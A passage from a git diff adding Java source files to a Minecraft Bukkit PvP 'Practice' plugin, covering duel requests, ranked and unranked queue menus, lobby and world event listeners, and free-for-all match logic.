@EventHandler(priority = EventPriority.MONITOR) + public void onInventoryClick(InventoryClickEvent event) { + Inventory inventory = event.getClickedInventory(); + Player player = (Player) event.getWhoClicked(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (inventory == null) { + return; + } + + if (inventory.getTitle().contains("Information")) { + event.setCancelled(true); + return; + } + + if (inventory.getTitle().equals(ChatColor.BLUE + "Send a duel")) { + if (event.getCurrentItem() == null) { + return; + } + + if (event.getCurrentItem().getType().equals(Material.AIR)) { + return; + } + + if (!selectedPlayer.containsKey(player.getUniqueId())) { + player.sendMessage(ChatColor.RED + "You need to select a player to duel first."); + player.closeInventory(); + event.setCancelled(true); + return; + } + + Player target = Bukkit.getPlayer(selectedPlayer.get(player.getUniqueId())); + + if (target == null) { + player.sendMessage(ChatColor.RED + "That player is no longer online."); + player.closeInventory(); + event.setCancelled(true); + return; + } + + Profile targetProfile = Practice.getPlugin().getProfileManager().getProfile(target.getUniqueId()); + + if (targetProfile.hasRequest(player)) { + player.sendMessage(ChatColor.RED + "You have already sent a duel request to that player."); + player.closeInventory(); + event.setCancelled(true); + return; + } + + /*if (targetProfile.isHidingDuels()) { + player.sendMessage(ChatColor.RED + "That player is not currently receiving duel requests."); + player.closeInventory(); + event.setCancelled(true); + return; + }TODO */ + + Ladder ladder = Practice.getPlugin().getLadderManager().getLadder(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getDisplayName())); + + if (ladder != null) { + DuelRequest request = new DuelRequest(player, Bukkit.getPlayer(selectedPlayer.get(player.getUniqueId())), ladder); + + targetProfile.addRequest(player, request); + + new BukkitRunnable() { + public void run() { + if (Bukkit.getPlayer(target.getUniqueId()) == null) return; + if (Practice.getPlugin().getProfileManager().getProfile(target.getUniqueId()) == null) return; + + Profile targetProfile = Practice.getPlugin().getProfileManager().getProfile(target.getUniqueId()); + + if (targetProfile.hasRequest(player)) { + if (targetProfile.getRequest(player).getIdentifier().equals(request.getIdentifier())) { + targetProfile.removeRequest(player); + + player.sendMessage(ChatColor.RED + "Your duel request to " + Bukkit.getPlayer(targetProfile.getUniqueId()).getName() + " has expired."); + Bukkit.getPlayer(targetProfile.getUniqueId()).sendMessage(ChatColor.RED + "The duel request sent by " + player.getName() + " to you has expired."); + } + } + } + }.runTaskLater(Practice.getPlugin(), 20L * 60); + } else { + player.sendMessage(ChatColor.RED + "Could not find that ladder."); + } + + player.closeInventory(); + event.setCancelled(true); + } else if (inventory.getTitle().equals(ChatColor.GREEN + "Ranked Queues")) { + if (event.getCurrentItem() == null) { + return; + } + + if (event.getCurrentItem().getType().equals(Material.AIR)) { + return; + } + + if (profile.getStatus() != ProfileStatus.LOBBY) { + player.sendMessage(ChatColor.RED + "You need to be in the spawn to join a queue."); + player.closeInventory(); + event.setCancelled(true); + } + + String hidden = HiddenStringUtil.extractHiddenString(event.getCurrentItem().getItemMeta().getLore().get(0)); + IQueue queue = Practice.getPlugin().getQueueManager().getQueues().get(UUID.fromString(hidden)); + + if (queue == null) { + player.sendMessage(ChatColor.RED + "Could not find that queue."); + return; + } + + queue.addToQueue(player); + + PlayerEnterQueueEvent queueEvent = new PlayerEnterQueueEvent(player, queue); + Bukkit.getPluginManager().callEvent(queueEvent); + + player.closeInventory(); + event.setCancelled(true); + } else if (inventory.getTitle().equals(ChatColor.BLUE + "Un-Ranked Queues")) { + if (event.getCurrentItem() == null) { + return; + } + + if (event.getCurrentItem().getType().equals(Material.AIR)) { + return; + } + + if (profile.getStatus() != ProfileStatus.LOBBY) { + player.sendMessage(ChatColor.RED + "You need to be in the spawn to join a queue."); + player.closeInventory(); + event.setCancelled(true); + } + + String hidden = HiddenStringUtil.extractHiddenString(event.getCurrentItem().getItemMeta().getLore().get(0)); + IQueue queue = Practice.getPlugin().getQueueManager().getQueues().get(UUID.fromString(hidden)); + + if (queue == null) { + player.sendMessage(ChatColor.RED + "Could not find that queue."); + return; + } + + queue.addToQueue(player); + + PlayerEnterQueueEvent queueEvent = new PlayerEnterQueueEvent(player, queue); + Bukkit.getPluginManager().callEvent(queueEvent); + + player.closeInventory(); + event.setCancelled(true); + } else if (inventory.getTitle().equalsIgnoreCase(ChatColor.GOLD + "Kit editor")) { + if (event.getCurrentItem().getType().equals(Material.AIR)) { + return; + } + + if (profile.getStatus() != ProfileStatus.LOBBY) { + player.sendMessage(ChatColor.RED + "You need to be in the spawn to edit a kit."); + player.closeInventory(); + event.setCancelled(true); + } + + if (Practice.getPlugin().getLadderManager().getLadder(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getDisplayName())) != null) { + Practice.getPlugin().getKitManager().startEditing(player, Practice.getPlugin().getLadderManager().getLadder(ChatColor.stripColor(event.getCurrentItem().getItemMeta().getDisplayName()))); + } + + event.setCancelled(true); + } + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/listeners/PlayerListeners.java b/Practice/src/main/java/me/redis/practice/listeners/PlayerListeners.java new file mode 100644 index 0000000..54c8485 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/listeners/PlayerListeners.java @@ -0,0 +1,196 @@ +package me.redis.practice.listeners; + +import me.redis.practice.Practice; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.profile.Profile; +import me.redis.practice.queue.IQueue; +import me.redis.practice.events.PlayerExitQueueEvent; +import me.redis.practice.queue.type.SoloQueue; +import me.redis.practice.utils.ItemBuilder; +import me.redis.practice.utils.PracticeUtils; +import me.redis.practice.utils.SerializationUtils; +import net.md_5.bungee.api.ChatColor; +import org.bukkit.Bukkit; +import org.bukkit.GameMode; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.entity.FoodLevelChangeEvent; +import org.bukkit.event.player.PlayerDropItemEvent; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.event.player.PlayerJoinEvent; +import org.bukkit.event.player.PlayerPickupItemEvent; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; + +public class PlayerListeners implements Listener { + @EventHandler + public void onJoin(PlayerJoinEvent event) { + Player player = event.getPlayer(); + + initialize(player); + } + + public void initialize(Player player) { + Inventory inventory = player.getInventory(); + + player.setGameMode(GameMode.SURVIVAL); + player.setFoodLevel(20); + player.setHealth(20); + player.setSaturation(14); + player.setCanPickupItems(false); + player.setAllowFlight(false); + player.setNoDamageTicks(19); + + if (Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")) == null) { + player.sendMessage(ChatColor.RED + "You need to create a world called 'Lobby' and then /setworldspawn to get spawned there."); + } else { + player.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + } + + player.getInventory().clear(); + player.getInventory().setArmorContents(new ItemStack[]{null, null, null, null}); + + Practice.getPlugin().getEntityHider().hideAllPlayers(player); + + player.getInventory().setContents(PracticeUtils.getLobbyInventory()); + } + + @EventHandler + public void onDamage(EntityDamageEvent event) { + if (event.getEntity() instanceof Player) { + Player player = (Player) event.getEntity(); + + if (Practice.getPlugin().getProfileManager().getProfile(player).getStatus() != ProfileStatus.MATCH) { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onFood(FoodLevelChangeEvent event) { + if (event.getEntity() instanceof Player) { + Player player = (Player) event.getEntity(); + + if (Practice.getPlugin().getProfileManager().getProfile(player).getStatus() != ProfileStatus.MATCH) { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onInteract(PlayerInteractEvent event) { + Player player = event.getPlayer(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() == ProfileStatus.LOBBY) { + if (player.getItemInHand() != null) { + if (player.getItemInHand().getType() == Material.BOOK) { + Inventory inventory = Bukkit.createInventory(null, getSize(), ChatColor.GOLD + "Kit editor"); + + for (Ladder ladder : Practice.getPlugin().getLadderManager().getLadders().values()) { + inventory.addItem(new ItemBuilder(SerializationUtils.itemStackFromString(ladder.getIcon())).setDisplayName("&a" + ladder.getName()).create()); + } + + player.openInventory(inventory); + return; + } + + if (player.getItemInHand().getType() == Material.IRON_SWORD) { + Inventory inventory = Bukkit.createInventory(null, getSize(), ChatColor.BLUE + "Un-Ranked Queues"); + + if (!Practice.getPlugin().getQueueManager().getQueues().isEmpty()) { + for (IQueue queue : Practice.getPlugin().getQueueManager().getQueues().values()) { + if (queue instanceof SoloQueue && !queue.isRanked()) { + inventory.setItem(queue.getLadder().getPosition(), ((SoloQueue) queue).getQueueToInventory()); + } + } + } + + player.openInventory(inventory); + + return; + } + + if (player.getItemInHand().getItemMeta() != null && player.getItemInHand().getItemMeta().getDisplayName() != null) { + if (player.getItemInHand().getItemMeta().getDisplayName().contains("Create")) { + player.performCommand("team create"); + } else if (player.getItemInHand().getItemMeta().getDisplayName().contains("Leave the match")) { + Practice.getPlugin().getSpectatorManager().stopSpectating(player, false); + } + } + + if (player.getItemInHand().getType() == Material.DIAMOND_SWORD) { + if (Practice.getPlugin().getConfig().getBoolean("MATCHES.MINIMUM_UNRANKED.ENABLED")) { + if (profile.getMatchesPlayed() <= Practice.getPlugin().getConfig().getInt("MATCHES.MINIMUM_UNRANKED.NUMBER")) { + player.sendMessage(ChatColor.RED + "You need to play " + (Practice.getPlugin().getConfig().getInt("MATCHES.MINIMUM_UNRANKED.NUMBER") - profile.getMatchesPlayed()) + " more matches in order to queue for a ranked match."); + return; + } + } + + Inventory inventory = Bukkit.createInventory(null, 9, ChatColor.GREEN + "Ranked Queues"); + + if (!Practice.getPlugin().getQueueManager().getQueues().isEmpty()) { + for (IQueue queue : Practice.getPlugin().getQueueManager().getQueues().values()) { + if (queue instanceof SoloQueue && queue.isRanked()) { + inventory.setItem(queue.getLadder().getPosition(), ((SoloQueue) queue).getQueueToInventory()); + } + } + } + + player.openInventory(inventory); + + return; + } + } + + if (!((player.hasPermission("practice.admin") || player.isOp()) && player.getGameMode() == GameMode.CREATIVE)) { + event.setCancelled(true); + } + } else if (profile.getStatus() == ProfileStatus.QUEUE) { + if (player.getItemInHand() != null) { + if (player.getItemInHand().getType() == Material.INK_SACK) { + PlayerExitQueueEvent queueEvent = new PlayerExitQueueEvent(player, profile.getCurrentQueue()); + Bukkit.getPluginManager().callEvent(queueEvent); + } + } + } + } + + @EventHandler + public void onDrop(PlayerDropItemEvent event) { + Player player = event.getPlayer(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + event.setCancelled(true); + } + } + + @EventHandler + public void onPickup(PlayerPickupItemEvent event) { + Player player = event.getPlayer(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (profile.getStatus() != ProfileStatus.MATCH) { + event.setCancelled(true); + } + } + + public int getSize() { + int size = Practice.getPlugin().getLadderManager().getLadders().size(); + + if (size % 9 == 0) { + return size; + } else { + if (size < 10) { + return 9; + } else { + return 18; + } + } + } +} diff --git a/Practice/src/main/java/me/redis/practice/listeners/WorldListener.java b/Practice/src/main/java/me/redis/practice/listeners/WorldListener.java new file mode 100644 index 0000000..2d69000 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/listeners/WorldListener.java @@ -0,0 +1,85 @@ +package me.redis.practice.listeners; + +import me.redis.practice.Practice; +import org.bukkit.Bukkit; +import org.bukkit.GameMode; +import org.bukkit.Location; +import org.bukkit.World; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.event.block.BlockPlaceEvent; +import org.bukkit.event.block.LeavesDecayEvent; +import org.bukkit.event.entity.CreatureSpawnEvent; +import org.bukkit.event.player.PlayerTeleportEvent; +import org.bukkit.event.weather.ThunderChangeEvent; +import org.bukkit.event.weather.WeatherChangeEvent; +import org.bukkit.scheduler.BukkitRunnable; + +public class WorldListener implements Listener { + public WorldListener() { + Bukkit.getPluginManager().registerEvents(this, Practice.getPlugin()); + + Bukkit.getScheduler().runTaskTimer(Practice.getPlugin(), () -> { + Bukkit.getWorlds().forEach(world -> world.setTime(6000)); + }, 0L, 20L * 5); + } + + @EventHandler + public void onThunder(ThunderChangeEvent event) { + if (event.toThunderState()) { + event.setCancelled(true); + } + } + + @EventHandler + public void onWeather(WeatherChangeEvent event) { + if (event.toWeatherState()) { + event.setCancelled(true); + } + } + + @EventHandler + public void onDecay(LeavesDecayEvent event) { + event.setCancelled(true); + } + + @EventHandler + public void onCreatureSpawn(CreatureSpawnEvent event) { + if (event.getSpawnReason() != CreatureSpawnEvent.SpawnReason.CUSTOM) { + event.getEntity().remove(); + } + } + + @EventHandler(ignoreCancelled = true) + public void onTeleport(PlayerTeleportEvent event) { + if (event.getCause() == PlayerTeleportEvent.TeleportCause.ENDER_PEARL) { + Location newLocation = event.getTo(); + + newLocation.setX(event.getTo().getX() + 0.5D); + newLocation.setZ(event.getTo().getZ() + 0.5D); + + event.setTo(newLocation); + } + } + + @EventHandler + public void onBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + + if (!((player.hasPermission("practice.admin") || player.isOp()) && player.getGameMode() == GameMode.CREATIVE)) { + event.setCancelled(true); + } + } + + @EventHandler + public void onPlace(BlockPlaceEvent event) { + Player player = event.getPlayer(); + + if (!((player.hasPermission("practice.admin") || player.isOp()) && player.getGameMode() == GameMode.CREATIVE)) { + event.setCancelled(true); + } + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/match/IMatch.java b/Practice/src/main/java/me/redis/practice/match/IMatch.java new file mode 100644 index 0000000..4965c4c --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/match/IMatch.java @@ -0,0 +1,50 @@ +package me.redis.practice.match; + +import me.redis.practice.arena.Arena; +import me.redis.practice.enums.MatchStatus; +import me.redis.practice.enums.MatchType; +import me.redis.practice.ladders.Ladder; +import org.bukkit.Location; +import org.bukkit.entity.Player; + +import java.sql.Timestamp; +import java.util.List; +import java.util.UUID; + +public interface IMatch { + + UUID getUniqueId(); + + Ladder getLadder(); + + Arena getArena(); + + MatchStatus getMatchStatus(); + + MatchType getMatchType(); + + List getPlayers(); + + List getSpectators(); + + List getTeam(Player player); + + List getOpponents(Player player); + + Player getOpponent(Player player); + + Timestamp getStartTimestamp(); + + Long getStartNano(); + + int getOpponentsLeft(Player player); + + void sendMessage(String message); + + void handleDeath(Player player, Location location, String deathMessage); + + boolean isDead(Player player); + + void cancelMatch(String reason); + +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/match/MatchManager.java b/Practice/src/main/java/me/redis/practice/match/MatchManager.java new file mode 100644 index 0000000..847663d --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/match/MatchManager.java @@ -0,0 +1,15 @@ +package me.redis.practice.match; + +import lombok.Getter; + +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; + +public class MatchManager { + @Getter private Map matches; + + public MatchManager() { + this.matches = new HashMap<>(); + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/match/cache/CatchedInventory.java b/Practice/src/main/java/me/redis/practice/match/cache/CatchedInventory.java new file mode 100644 index 0000000..42eda54 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/match/cache/CatchedInventory.java @@ -0,0 +1,50 @@ +package me.redis.practice.match.cache; + +import lombok.Getter; +import me.redis.practice.utils.ItemBuilder; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.PlayerInventory; +import org.bukkit.inventory.meta.ItemMeta; + +import java.util.List; +import java.util.UUID; + +public class CatchedInventory { + @Getter private UUID identifier; + @Getter private String name; + @Getter private double health; + @Getter private double food; + private PlayerInventory inventory; + + public CatchedInventory(String name, double health, double food, List effects, PlayerInventory inventory) { + this.identifier = UUID.randomUUID(); + this.name = name; + this.health = health; + this.food = food; + this.inventory = inventory; + } + + public Inventory getInventory() { + Inventory inv = Bukkit.createInventory(null, 54, "Inventory of " + this.name); + + for (int i = 9; i <= 35; ++i) { + inv.setItem(i - 9, this.inventory.getContents()[i]); + } + + for (int i = 0; i <= 8; ++i) { + inv.setItem(i + 27, this.inventory.getContents()[i]); + } + + inv.setItem(36, this.inventory.getHelmet()); + inv.setItem(37, this.inventory.getChestplate()); + inv.setItem(38, this.inventory.getLeggings()); + inv.setItem(39, this.inventory.getBoots()); + + return inv; + } + +} diff --git a/Practice/src/main/java/me/redis/practice/match/cache/MatchCache.java b/Practice/src/main/java/me/redis/practice/match/cache/MatchCache.java new file mode 100644 index 0000000..9bad17b --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/match/cache/MatchCache.java @@ -0,0 +1,87 @@ +package me.redis.practice.match.cache; + +import me.redis.practice.Practice; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.profile.Profile; +import me.redis.practice.utils.ItemBuilder; +import me.redis.practice.utils.TimeUtil; +import org.bukkit.Bukkit; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.inventory.Inventory; +import org.bukkit.scheduler.BukkitRunnable; + +import java.text.DecimalFormat; +import java.util.*; + +public class MatchCache { + public static int playingAmount, queueingAmount, spectatingAmount = 0; + public static Map inventories = new HashMap<>(); + + public MatchCache() { + new BukkitRunnable() { + @Override + public void run() { + int play = 0; + int queue = 0; + int spectate = 0; + + if (!Practice.getPlugin().getProfileManager().getProfiles().values().isEmpty()) { + for (Profile profile : Practice.getPlugin().getProfileManager().getProfiles().values()) { + if (profile.getStatus() == ProfileStatus.MATCH) { + play++; + } + else if (profile.getStatus() == ProfileStatus.QUEUE) { + queue++; + } + else if (profile.getStatus() == ProfileStatus.SPECTATOR) { + spectate++; + } + } + } + + playingAmount = play; + queueingAmount = queue; + spectatingAmount = spectate; + } + }.runTaskTimerAsynchronously(Practice.getPlugin(), 0L, 20L); + } + + public static void storeInventory(Player player, boolean dead) { + Inventory inventory = Bukkit.createInventory(null, 45, player.getName() + " ๏ฝœ Information"); + + inventory.setContents(player.getInventory().getContents()); + inventory.setItem(36, player.getInventory().getHelmet()); + inventory.setItem(37, player.getInventory().getChestplate()); + inventory.setItem(38, player.getInventory().getLeggings()); + inventory.setItem(39, player.getInventory().getBoots()); + + if (dead) { + inventory.setItem(44, new ItemBuilder(Material.SKULL_ITEM).setDisplayName("&c" + player.getName() + " died").create()); + } else { + inventory.setItem(44, new ItemBuilder(Material.SPECKLED_MELON).setDisplayName("&c" + player.getName() + "'s health&7: &f" + ((int) player.getHealth())).create()); + } + + inventories.put(player.getUniqueId(), inventory); + } + + public static void storeInventory(Player player, boolean dead, int missed) { + Inventory inventory = Bukkit.createInventory(null, 45, player.getName() + " ๏ฝœ Information"); + + inventory.setContents(player.getInventory().getContents()); + inventory.setItem(36, player.getInventory().getHelmet()); + inventory.setItem(37, player.getInventory().getChestplate()); + inventory.setItem(38, player.getInventory().getLeggings()); + inventory.setItem(39, player.getInventory().getBoots()); + + if (dead) { + inventory.setItem(44, new ItemBuilder(Material.SKULL_ITEM).setDisplayName("&c" + player.getName() + " died").create()); + } else { + inventory.setItem(44, new ItemBuilder(Material.SPECKLED_MELON).setDisplayName("&c" + player.getName() + "'s health&7: &f" + ((int) player.getHealth())).create()); + } + + inventory.setItem(43, new ItemBuilder(Material.POTION).setDisplayName("&eMissed potions&7: &f" + missed).create()); + + inventories.put(player.getUniqueId(), inventory); + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/match/type/FreeForAllMatch.java b/Practice/src/main/java/me/redis/practice/match/type/FreeForAllMatch.java new file mode 100644 index 0000000..8b2a4bf --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/match/type/FreeForAllMatch.java @@ -0,0 +1,463 @@ +package me.redis.practice.match.type; + +import lombok.Getter; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.enums.MatchStatus; +import me.redis.practice.enums.MatchType; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.match.IMatch; +import me.redis.practice.match.cache.MatchCache; +import me.redis.practice.profile.Profile; +import me.redis.practice.utils.Cuboid; +import me.redis.practice.utils.LocationUtils; +import me.redis.practice.utils.PracticeUtils; +import mkremins.fanciful.FancyMessage; + +import org.apache.commons.lang.StringUtils; +import org.bukkit.*; +import org.bukkit.entity.Player; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.scheduler.BukkitRunnable; + +import java.sql.Timestamp; +import java.util.*; +import java.util.Map.Entry; + +public class FreeForAllMatch implements IMatch { + @Getter private UUID uniqueId; + @Getter private Ladder ladder; + @Getter private Arena arena; + @Getter private MatchStatus matchStatus; + @Getter private MatchType matchType; + @Getter private Timestamp startTimestamp; + @Getter private Long startNano; + @Getter private Map alive = new HashMap<>(); + @Getter private List spectators = new ArrayList<>(); + @Getter private List leftMatch = new ArrayList<>(); + @Getter private Map missedPotions; + + public FreeForAllMatch(Ladder ladder, Arena arena, List players) { + this.uniqueId = UUID.randomUUID(); + this.ladder = ladder; + this.arena = arena; + this.matchStatus = MatchStatus.STARTING; + this.matchType = MatchType.TEAM_VS_TEAM; + missedPotions = new HashMap<>(); + + int i = 0; + + for (Player member : players) { + for (Player p2 : players) { + member.showPlayer(p2); + } + + this.alive.put(member.getUniqueId(), true); + + PracticeUtils.resetPlayer(member); + + Profile profile = Practice.getPlugin().getProfileManager().getProfile(member); + + /* if (profile.getStatus() == ProfileStatus.EDITING) { + ManagerHandler.getKitEditManager().getEditKits().remove(p.getUniqueId()); + }*/ //TODO + + profile.setCurrentMatch(this); + profile.setStatus(ProfileStatus.MATCH); + + profile.showKits(ladder); + + member.updateInventory(); + member.spigot().setCollidesWithEntities(true); + member.setCanPickupItems(true); + member.setMaximumNoDamageTicks(19); + missedPotions.put(member, 0); + + Cuboid cuboid = new Cuboid(LocationUtils.getLocation(arena.getFfaLocation1()), LocationUtils.getLocation(arena.getFfaLocation2())); + + double x = Math.random() * (cuboid.getUpperX() - cuboid.getLowerX()) + cuboid.getLowerX(); + double z = Math.random() * (cuboid.getUpperZ() - cuboid.getLowerZ()) + cuboid.getLowerZ(); + World world = cuboid.getWorld(); + Location location = new Location(world, x, cuboid.getLowerY(), z); + + member.teleport(location); + + member.sendMessage(ChatColor.translateAlternateColorCodes('&', "&ePlaying in &a" + arena.getName() + " &emade by '&7" + StringUtils.join(arena.getAuthors(), ", ") + "&e'.")); + } + + for (Player showMembers : getPlayers()) { + Practice.getPlugin().getEntityHider().hideAllPlayers(showMembers); + } + + for (Player showMembers : getPlayers()) { + for (Player showMembersAgain : getPlayers()) { + Practice.getPlugin().getEntityHider().showEntity(showMembers, showMembersAgain); + Practice.getPlugin().getEntityHider().showEntity(showMembersAgain, showMembers); + } + } + + new BukkitRunnable() { + private int i = 5; + + public void run() { + if (matchStatus == MatchStatus.FINISHED || matchStatus == MatchStatus.CANCELLED) { + this.cancel(); + return; + } + + if (this.i <= 0) { + this.cancel(); + + startMatch(); + playSound(Sound.NOTE_PIANO, 2.0f); + + return; + } + + if (this.i != 1) { + sendMessage(ChatColor.GREEN + "Starting in " + ChatColor.YELLOW + this.i + ChatColor.GREEN + " seconds!"); + } else { + sendMessage(ChatColor.GREEN + "Starting in " + ChatColor.YELLOW + this.i + ChatColor.GREEN + " second!"); + } + + playSound(Sound.NOTE_PIANO, 1.0f); + --this.i; + } + }.runTaskTimer(Practice.getPlugin(), 0L, 20L); + } + + @Override + public List getPlayers() { + List players = new ArrayList<>(); + + if(!this.alive.isEmpty()) { + Iterator uuidIterator = this.alive.keySet().iterator(); + + while(uuidIterator.hasNext()) { + Player p = Bukkit.getPlayer(uuidIterator.next()); + + if(p == null) { + uuidIterator.remove(); + } + else { + players.add(p); + } + } + } + + return players; + } + + @Override + public List getTeam(Player player) { + return Collections.emptyList(); + } + + @Override + public List getOpponents(Player player) { + List enemies = new ArrayList<>(); + + for (Player p : getPlayers()) { + if (player != p) enemies.add(p); + } + + return enemies; + } + + @Override + public Player getOpponent(Player player) { + return null; + } + + @Override + public int getOpponentsLeft(Player player) { + return alive.size() - 1; + } + + @Override + public void handleDeath(Player player, Location location, String deathMessage) { + if (this.isDead(player)) { + return; + } + + this.alive.replace(player.getUniqueId(), false); + + this.sendMessage(deathMessage); + + if (deathMessage.contains("has left the match.")) { + this.leftMatch.add(player.getUniqueId()); + } else { + playSound(Sound.AMBIENCE_THUNDER, 10.0f); + } + + MatchCache.storeInventory(player, true, missedPotions.get(player)); + + int alive = 0; + + for (Boolean bool : this.alive.values()) { + if (bool) { + alive++; + } + } + + if (alive == 1) { + this.endMatch(getLastAlive()); + } + else { + for (Player p : this.getPlayers()) { + p.hidePlayer(player); + } + + player.setMaximumNoDamageTicks(19); + + this.startSpectating(player); + + if (location != null) { + player.teleport(location.clone().add(0, 3, 0)); + } + + new BukkitRunnable() { + @Override + public void run() { + if (player.isOnline()) { + player.setHealth(20); + player.setFireTicks(0); + } + } + }.runTaskLater(Practice.getPlugin(), 10L); + } + } + + @Override + public boolean isDead(Player player) { + return !this.alive.get(player.getUniqueId()); + } + + private Player getLastAlive() { + for (Entry entry : this.alive.entrySet()) { + if (entry.getValue()) return Bukkit.getPlayer(entry.getKey()); + } + + return null; + } + + @Override + public void sendMessage(String message) { + for (Player p : getPlayers()) { + p.sendMessage(message); + } + + for (UUID uuid : this.spectators) { + if (Bukkit.getPlayer(uuid) != null) { + Bukkit.getPlayer(uuid).sendMessage(message); + } + else { + this.spectators.remove(uuid); + } + } + } + + public void sendMessage(FancyMessage fancyMessage) { + for (Player p : getPlayers()) { + fancyMessage.send(p); + } + + for (UUID uuid : this.spectators) { + if (Bukkit.getPlayer(uuid) != null) { + fancyMessage.send(Bukkit.getPlayer(uuid)); + } + else { + this.spectators.remove(uuid); + } + } + } + + private void playSound(Sound sound, float idk2) { + for (Player p : getPlayers()) { + p.playSound(p.getLocation(), sound, 10.0f, idk2); + } + + for (UUID uuid : this.spectators) { + if (Bukkit.getPlayer(uuid) != null) { + Bukkit.getPlayer(uuid).playSound(Bukkit.getPlayer(uuid).getLocation(), sound, 10.0F, idk2); + } + else { + this.spectators.remove(uuid); + } + } + } + + @Override + public void cancelMatch(String cancelReason) { + this.sendMessage(ChatColor.DARK_RED + "The match has been canceled for: " + ChatColor.RED + cancelReason); + + for (Player player : getPlayers()) { + if (this.leftMatch.contains(player.getUniqueId())) continue; + + PracticeUtils.resetPlayer(player); + + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + profile.setStatus(ProfileStatus.LOBBY); + profile.setCurrentMatch(null); + + if (profile.getTeam() != null) { + if (profile.getTeam().getLeader() == player) { + player.getInventory().setContents(PracticeUtils.getTeamLeaderInventory()); + } + else { + player.getInventory().setContents(PracticeUtils.getTeamMemberInventory()); + } + } + else { + player.getInventory().setContents(PracticeUtils.getLobbyInventory()); + } + + player.setMaximumNoDamageTicks(19); + player.setAllowFlight(false); + player.updateInventory(); + + Practice.getPlugin().getEntityHider().showAllPlayers(player); + player.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + } + + cleanSpectators(); + + Practice.getPlugin().getMatchManager().getMatches().remove(this.uniqueId); + + this.matchStatus = MatchStatus.CANCELLED; + } + + private void startMatch() { + this.startTimestamp = new Timestamp(System.currentTimeMillis()); + this.startNano = System.nanoTime(); + this.matchStatus = MatchStatus.ONGOING; + + sendMessage(ChatColor.GREEN + "Duel starting now!"); + } + + private void endMatch(Player winner) { + MatchCache.storeInventory(winner, false, missedPotions.get(winner)); + + Profile winnerProfile = Practice.getPlugin().getProfileManager().getProfile(winner); + + winnerProfile.setUnrankedWins(winnerProfile.getUnrankedWins() + 1); + winnerProfile.save(); + + FancyMessage winnerClickables = new FancyMessage("Winner: " + winner.getName()).color(ChatColor.YELLOW).command("/_ " + winner.getName()); + FancyMessage loserClickables = new FancyMessage("Inventories (click to view): ").color(ChatColor.GOLD); + + int alive = 0; + int i = 0; + + for (Entry entry : this.alive.entrySet()) { + Player player = Bukkit.getPlayer(entry.getKey()); + + if (player == null) { + this.alive.remove(entry.getKey()); + continue; + } + + if (entry.getValue()) { + alive++; + MatchCache.storeInventory(player, false, missedPotions.get(player)); + } else { + i++; + + player.getInventory().setContents(PracticeUtils.getLobbyInventory()); + player.updateInventory(); + player.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + Practice.getPlugin().getEntityHider().hideAllPlayers(player); + + for (Player p : getPlayers()) { + loserClickables.then(p.getName() + ", ").color(ChatColor.YELLOW).command("/_ " + player.getName()); + } + } + + Profile data = Practice.getPlugin().getProfileManager().getProfile(player); + + if (player == winner) { + data.setUnrankedWins(data.getUnrankedWins() + 1); + } + else { + data.setUnrankedLosses(data.getUnrankedLosses() + 1); + } + + data.setStatus(ProfileStatus.LOBBY); + data.setCurrentMatch(null); + data.save(); + + PracticeUtils.resetPlayer(player); + + if (data.getTeam() != null) { + if (data.getTeam().getLeader() == player) { + player.getInventory().setContents(PracticeUtils.getTeamLeaderInventory()); + } + else { + player.getInventory().setContents(PracticeUtils.getTeamMemberInventory()); + } + } + else { + player.getInventory().setContents(PracticeUtils.getLobbyInventory()); + } + + player.setMaximumNoDamageTicks(19); + player.setAllowFlight(false); + player.updateInventory(); + + Practice.getPlugin().getEntityHider().hideAllPlayers(player); + player.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + 